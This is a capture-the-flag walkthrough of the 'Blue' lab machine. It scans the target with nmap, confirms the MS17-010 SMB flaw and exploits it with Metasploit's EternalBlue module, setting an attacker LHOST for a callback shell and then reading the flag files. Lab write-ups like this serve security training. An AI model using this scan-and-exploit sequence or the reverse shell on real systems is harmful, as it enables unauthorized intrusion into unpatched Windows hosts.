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Blue


March 13, 20234 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=332 ms

--- 10.10.10.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 332.152/332.152/332.152/0.000 ms

In this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Windows

Port scan (nmap)

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.40 -oG allPorts
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip host discovery
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

$ extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.40
   5   │     [*] Open ports: 135,139,445,49152,49153,49154,49155,49156,49157
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

$ nmap -p135,139,445,49152,49153,49154,49155,49156,49157 -sC -sV 10.10.10.40-oN versions

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-03-13T17:41:08+00:00
| smb2-time: 
|   date: 2023-03-13T17:41:09
|_  start_date: 2023-03-12T19:47:16
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2s, deviation: 1s, median: 1s
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

Exploitation

The nmap scan reported a Windows 7 machine with a Samba server

With nmap we can check whether it is vulnerable

❯ sudo nmap --script smb-vuln* -p139,445 -T4 -Pn 10.10.10.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 18:44 CET
Nmap scan report for 10.10.10.40
Host is up (0.072s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND

It is vulnerable. We are going to use a Metasploit exploit

First we open Metasploit

msfconsole

We search for ms17-010 exploits

msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

We’ll use the first one

use 0

We set the target and attacker IPs

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.10.10.40
RHOST => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.27
lhost => 10.10.14.27

We run it

run

Finally, to spawn a shell

shell

Flags

type \Users\haris\Desktop\user.txt
type \Users\Administrator\Desktop\root.tx